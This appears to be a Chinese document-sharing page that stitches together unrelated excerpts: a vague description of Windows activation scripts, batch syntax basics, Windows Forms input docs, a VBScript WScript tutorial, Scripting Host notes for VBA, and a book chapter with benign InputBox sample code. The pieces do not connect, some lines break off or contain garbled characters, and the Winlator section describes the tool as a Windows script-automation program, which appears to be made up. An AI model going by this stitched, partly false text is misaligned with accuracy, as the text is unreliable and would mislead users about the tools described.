激活过程中,激活脚本会与激活服务器进行通信,向其发送操作系统相关信息,并接收服务器返回的激活码或激活密钥。
激活脚本将这些信息应用到操作系统中,完成激活过程。
如果激活成功,脚本会返回激活成功的消息;如果激活失败,脚本会返回错误信息,进而引导用户采取其他激活方法。
需要注意的是,激活脚本的原理可以因操作系统版本、激活方式、激活服务器等因素而有所不同。
不同的操作系统版本可能采用不同的激活算法,激活方式也有多种多样,例如使用产品密钥、数字签名、激活证书等。
此外,激活过程中的具体细节以及错误处理也可能有所不同。
windows batch scripting语法
windows batch scripting语法
Windows的批处理脚本使用批处理命令集合来执行一系列的
命令和操作。
以下是Windows批处理脚本的基本语法:
1. 批处理文件后缀名为`.bat`。
2. 命令以行的形式出现,每个命令占据单独的一行。
3. 命令可包含参数和选项。
4. 使用`@echo off`命令关闭批处理脚本的命令回显。
5. 使用`REM`或`::`来添加注释。
下面是一些常用的批处理命令:
- `echo`: 在命令提示符窗口上显示文本,使用`echo 文本内容`。
- `set`: 设置环境变量,使用`set 变量名=值`。
- `if`: 条件语句,根据条件执行不同的操作。
例如:
```batch
if 条件 (
命令1
) else (
命令2
)
```
- `for`: 循环语句,按指定方式重复操作。
例如:
```batch
for %%变量 IN (值1 值2 ...) DO (
命令
)
```
- `goto`、`:label`和`call`:用于控制程序流。
```batch
goto labelname
:labelname
command
call another_batch_file.bat
```
- `pause`: 暂停批处理的执行,等待用户按下任意键继续。
这只是批处理脚本的一个基本概述,提供了一些常用命令和语法。
在Windows批处理中还有更多的命令和编程技巧可用于实现更复杂的脚本逻辑。
Windows 窗体中的用户输入
Windows 窗体中的用户输入.NET Framework 4.5其他版本此主题尚未评级 - 评价此主题Windows 窗体包括一种用户输入模型,该模型基于在处理相关的 Windows 消息时所引发的事件。
本节中的主题提供了有关鼠标和键盘用户输入的信息,其中包括演示如何执行特定任务的代码示例。
本节内容Windows 窗体应用程序中的用户输入提供处理 Windows 消息的用户输入事件和方法的概述。
Windows 窗体应用程序中的键盘输入提供有关键盘消息处理、不同类型的键和键盘事件的信息。
Windows 窗体应用程序中的鼠标输入提供有关鼠标事件和其他鼠标相关功能(包括鼠标光标和鼠标捕获)的信息。
如何:在代码中模拟鼠标和键盘事件演示通过编程模拟鼠标和键盘输入的几种不同方式。
如何:在 Windows 窗体控件中处理用户输入事件显示处理大多数用户输入事件的代码示例,并报告有关每个事件的信息。
Windows 窗体中的用户输入验证描述用于验证 Windows 窗体应用程序中的用户输入的方法。
相关章节社区附加资源Windows 窗体应用程序中的用户输入.NET Framework 4.5其他版本在 Windows 窗体中,用户输入以 Windows 消息的形式发送到应用程序。
一系列可重写的方法在应用程序、窗体和控件级处理这些消息。
当这些方法接收到鼠标和键盘消息时,将引发相应的事件,可以处理这些事件来获取关于鼠标或键盘输入的信息。
在许多情况下,Windows 窗体应用程序可以仅仅通过处理这些事件来处理所有用户输入。
在其他情况下,应用程序可能需要重写处理消息的某个方法,以便在特定消息被应用程序、窗体或控件接收前截获它。
鼠标和键盘事件所有 Windows 窗体控件都继承一组与鼠标和键盘输入有关的事件。
例如,控件可以处理KeyPress事件来确定所按键的字符代码,也可以处理MouseClick事件来确定鼠标单击的位置。
VBS基础篇-wscript对象详解
VBS基础篇-wscript对象详解⼀、wscript对象描述:提供对 Windows 脚本宿主对象模型根对象的访问。
详述:WScript 对象是 Windows 脚本宿主对象模型层次结构的根对象。
它可在任何脚本⽂件中使⽤,不需要特定的声明。
WScript 对象提供对以下信息的访问命令⾏参数,脚本⽂件的名称,宿主⽂件名,宿主版本信息。
WScript 对象可⽤来创建对象,连接对象,与对象断开连接,同步事件,以编程⽅式停⽌脚本的执⾏,将信息输出到默认输出设备(Windows 对话框或命令控制台)。
WScript 对象也可⽤来设置脚本运⾏的模式(交互模式或批处理模式)。
就像刚才我们说的⼀样,对象通过两种其⾃有的特性想我们提供⼯具,这两种特性分别是“属性”和“⽅法”。
⼆、属性1、Arguments 属性描述:⽤于返回 Arguments 对象(这个对象我们以后会学,现在只需要了解就⾏)。
语法:object.Arguments参数:object ,WScript 对象例⼦:显⽰本vbs⽂件运⾏的参数Set Arg = WScript.ArgumentsFor i = 0 To Arg.Count - 1MsgBox Arg(i)Next将上⾯这些代码保存为vbs⽂件,然后将⼀个或者数个任意的⽂件拖放到这个vbs⽂件上⾯上,那么他会逐个显⽰你拖放的⽂件。
(这仅仅给出了⼀个实例,⽤到了Arguments对象,其的具体⽤法我们以后再了解)2、FullName 属性描述:返回主机可执⾏⽂件(CScript.exe 或 WScript.exe)的完全限定路径。
语法:object.FullName参数:object ,WScript 对象例⼦:显⽰本机wscript的路径MsgBox wscript.fullname在默认的情况下会显⽰"C:\WINDOWS\system32\wscript.exe"3、Interactive 属性描述:设置或确定脚本模式。
使用VBA操作文件(3):WindowsScriptingHost
使用VBA操作文件(3):WindowsScriptingHostWindows Scripting Host,简称为WSH,是一种脚本语言,可以自动运行命令,能够控制Windows操作系统和应用程序,也能够从操作系统中获取信息。
WSH是名为wshom.ocx的ActiveX控件文件,通常该文件会自动安装在Windows System32文件夹中。
WSH有自已的对象层次模型。
准备工作要使用WSH对象模型,必须先添加对“Microsoft Scripting Runtime”库的引用。
在VBE中,单击菜单“工具”─—“引用”,在“引用”对话框中找到“Microsoft Scripting Runtime”项并选中其前面的复选框,如下图所示。
图引用“Microsoft Scripting Runtime”此时,可以在对象浏览器的“所有库”组合框中选择“Scripting”后,搜索WSH对象并查看相关帮助。
这是VB6新引入的File System对象模型,是一种可用于访问本地文件或网络文件的重要对象模型。
File System对象模型本身并不是VBA语言固有的组成部分,而是Scripting Runtime库的一部分。
该对象模型可以表示所有与计算机相连接的驱动器,包括硬盘驱动器、软盘和可移动驱动器、RAM驱动器、CD-ROM驱动器和其他计算机上的驱动器。
File System对象模型允许查找、创建、删除或者用其他方法操作文件夹和文本文件。
在引用“Microsoft Scripting Runtime”库后,就可以创建FileSystemObject对象的实例(惟一可以在外部创建的对象),从而可以浏览整个对象模型。
下图所示为File System对象模型。
图File System对象模型。
winlator用法
winlator用法
WinLator是一款用于Windows系统的开源软件,主要用于自动化脚本的编写和执行。
以下是WinLator的基本用法:
1. 安装WinLator:首先,您需要下载并安装WinLator软件。
可以从官方网站或其他可信来源获取最新版本的WinLator。
2. 创建脚本:在WinLator中,您可以使用各种脚本语言(如VBScript、JavaScript等)创建自动化脚本。
这些脚本可以用于执行各种任务,如打开应用程序、操作文件和文件夹、管理系统设置等。
3. 配置任务:在编写脚本之后,您需要配置任务来指定脚本的执行方式。
例如,您可以配置任务以在特定时间或事件触发时自动运行脚本。
4. 运行脚本:完成脚本编写和任务配置后,您可以运行脚本以执行自动化任务。
WinLator将按照您配置的方式自动执行脚本,并完成所需的任务。
5. 调试和优化:如果在运行脚本时遇到问题或错误,您可以使用WinLator的调试工具进行调试。
根据需要优化脚本,以提高其性能和准确性。
6. 管理和更新:随着时间的推移,您可能需要更新或修改自动化脚本。
使用WinLator的管理功能,您可以轻松地编辑、删除或管理您的脚本和任务。
请注意,使用WinLator需要一定的编程知识和经验。
如果您不
熟悉脚本编写和自动化技术,可能需要先学习一些基础知识。
同时,请确保从可信来源获取WinLator软件,并遵循最佳实践和安全准则来使用该软件。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
8. 在WSH Script中取得使用者输入在第6章曾介绍过不少建立简单的使用者对话盒的技巧。
本章将说明在Microsoft WSH Script中叫用对话盒来收集使用者输入的几个方法。
VBScript提供用来叫用输入对话盒的InputBox函数,但是WSH和JScript却不支持这样的函数,因此您必须要有取得这类输入对话盒的创造力。
在VBScript中叫用输入对话盒VBScript提供用来叫用输入对话盒的InputBox函数。
其语法如下:result = Input(消息正文[, [标题文字], [默认值], [x位置], [y位置]]) 对话盒包括消息正文、标题文字和简单的文本框,如图8-1所示。
用户可以在文本框中输入文字然后按下任一按钮。
图8-1 使用InputBox函数建立的输入对话盒InputBox函数拥有下面这些参数:消息正文(Prompt)定义显示在对话盒中的讯息。
在图8-1中,这里放的是字符串"请输入路径:"。
(此参数不可省略)标题文字(Title)定义对话盒的标题文字。
(此参数可有可无)默认值(Default)指定显示在文本框中的默认值。
(此参数可有可无)x位置(Xpos)和y位置(Ypos)定义对话盒左上角的位置。
(此参数可有可无)说明InputBox提供第6个(说明档-Helpfile)和第7个(主题-Context)参数。
这两个参数都是选用的并且能在输入对话盒中用来连结到 .hlp格式的说明档。
因为建立说明档显然已超出本书的讨论范畴,所以在此省略了这些参数的说明。
如果选用的参数被省略,则VBScript会使用其预设的设定。
要在其他的参数中间省略选用的参数,您必须使用一对空的逗号,示范如下:InputBox("Hello", "Test", , 100, 200)InputBox函数没有「按钮」参数(不像MsgBox那样)。
当使用者关闭对话盒时,InputBox会传回跟被使用者按下来关闭对话盒之按钮有关的结果值。
确定钮会传回文本框中(使用者输入)的内容。
而取消钮则会结束对话盒并传回空字符串。
您可以使用result 值来检查使用者的输入是否有效。
下面这段程序代码会检查result的值并使用If叙述来显示结果:If result = "" Then ' 被使用者取消掉了WScript.Echo "使用者取消输入!"ElseWScript.Echo "您输入的是:" & resultEnd If程序8-1中的VBScript程序会显示包含拥有默认值文本框(用户可自行变更)的输入对话盒。
在用户关闭对话盒之后,Script会显示第二个对话盒来说明结果(如图8-2的左图所示)或者是取消的讯息(图8-2的右图)。
图8-2 使用InputBox取得使用者的输入对话盒中显示的文字被宣告在Script的开头当作全局变量。
储存文字于变量中可以保持InputBox函数呼叫尽可能的简单明白。
Input.vbs也使用了VBScript常数vbCrLf来将输出字符串分割为两行。
程序8-1 I nput.vbs'************************************************' 档案: Input.vbs (WSH sample in VBScript)' 作者: (c) G. Born'' 在VBScript中取得使用者的输入'************************************************Option ExplicitDim Message, resultDim Title, Text1, Text2' 定义对话盒变量Message = "请输入路径:"Title = "WSH sample user input - by G. Born"Text1 = "使用者取消输入!"Text2 = "您输入的是:" & vbCrLf' 准备好要使用InputBox函数啰' 如果参数被省略,则VBScript会使用默认值result = InputBox(Message, Title, "C:\Windows", 100, 100)' 计算使用者的输入If result = "" Then ' 被使用者取消掉了WScript.Echo Text1ElseWScript.Echo Text2 & resultEnd If'*** 程序结束在JScript中叫用输入对话盒JScript并不支持VBScript的InputBox函数,而WSH也没有提供让使用者输入的方法。
举例来说,您不能使用下面这个您可能会在HTML Script中使用的叙述:var txt = window.prompt("WSH sample", "姓名:");您不能够使用这个命令,因为WSH并未提供window对象或prompt方法。
要克服这些限制,您可以使用接下来的小节中所介绍的解决方案。
WSH 2的解决方案:组合VBScript和JScript在WSH 2里,您可以在.wsf档案中组合多个Script。
如果JScript不支持特殊的函数而VBScript支持,那么您可以在一个.wsf档案中组合这两种语言。
举例来说,您可以撰写用户自定义的VBScript函数以开放InputBox函数给在同一个.wsf档案中的JScript程序使用,范例如下:Function WSHInputBox(Message, Title, Value)' 提供InputBox函数给JScript使用,其语法如下:' var result = WSHInputBox("请输入姓名:", "输入对话盒", test);WSHInputBox = InputBox(Message, Title, Value)End Function这个程序使用一个名为WSHInputBox的用户自定义的VBScript函数。
(这个函数会使用这个名称是为了要避免和原本VBScript的InputBox函数混淆。
)这个用户自定义的函数有3个参数:Message包含要显示在对话盒中的文字、Title包含标题栏的文字,而Value包含显示在文本框中的默认值。
WSHInputBox会传递从呼叫者端取得的参数给VBScript的InputBox函数的相关参数。
下面这行叙述指定从InputBox函数得到的结果给WSHInputBox,以便定义用户自定义函数WSHInputBox的传回值:WSHInputBox = InputBox(Message, Title, Value)在定义完WSHInputBox函数之后,您就可以在JScript中使用他了。
下面的程序代码定义了两个变量并且呼叫新的函数:var title = "给JScript使用的InputBox函数";var prompt = "请输入姓名:";var result = WSHInputBox(prompt, title, "Jarsing Chen");从对话盒中取得的用户输入会传给变量result。
如果其值为null,那么就表示使用者按下了取消钮。
如果result含有其他值,则表示使用者按下的是确定钮。
程序8-2(只能在WSH 2中执行)将这些部分通通结合在一个.wsf档案里。
两种Script 都放在同一个 <job> 元素但分开的两个 <script> 元素中。
使用 <job> 元素是必须的,因为函数或程序的有效范围仅限于他们被定义的job所在的区域。
第一行的处理指令会强制档案的内容成为有效的XML文件:<?xml version="1.0" encoding="BIG5"?>译注当我在中文化程序8-2时遇上了一个小小的问题,就是中文化后的字符串显示出来会是乱码,这显然是字符集编码的问题,经过几番试验之后终于找到了解决方案。
于是这个程序的第一行叙述中encoding指定的字符集就被译者从原本的「ISO-8859-1」(西欧Latin-1字符集)改为「BIG5」(繁体汉字字符集)。
同样的,其他语言若产生乱码的情形应该也可以藉由更换适当的字符集来解决,在此特别说明。
于是,<script> 元素的内容必须被插入到CDATA元素(在第1章说明过)里。
图8-3显示了一个输入对话盒和两个输入结果的对话盒。
图8-3 输入对话盒和WSH 2 Script产生的结果对话盒程序8-2 W SH2Input.wsf<?xml version="1.0" encoding="BIG5"?><job id="IncludeExample"><script language="VBScript"><![CDATA[Function WSHInputBox(Message, Title, Value)' 提供InputBox函数给JScript使用,其语法如下:' var result = WSHInputBox("请输入姓名:", "输入对话盒", test); WSHInputBox = InputBox(Message, Title, Value)End Function]]></script><script language="JScript"><![CDATA[// 这里是JScript的Script,用来读取使用者的输入// 并将之显示在对话盒中。
// 这里使用了VBScript的函数WSHInputBox来建立对话盒var vbOKOnly = 0; // Popup的常数var vbInformation = 64;var title = "给JScript使用的InputBox函数";var prompt = "请输入姓名:";// 建立WshShell对象(使用Popup时所需的)var WshShell = WScript.CreateObject("WScript.Shell");// 在.wsf档案中使用函数来开启输入对话盒var result = WSHInputBox(prompt, title, "Jarsing Chen");// 检查【取消】钮是否被按下了if (result != null){ // 【取消】钮未被按下,故取得输入var intDoIt = WshShell.Popup("您输入的是:" + result,0,"结果",vbOKOnly + vbInformation);}else{ // 【取消】钮被按下了var intDoIt = WshShell.Popup("抱歉,您没有输入数据!",0,"结果",vbOKOnly + vbInformation);}//*** 程序结束]]></script></job>从Internet Explorer中使用prompt方法到目前为止您已经学过的针对在JScript中取得使用者输入的解决方案在WSH 2里面应该是运作得不错。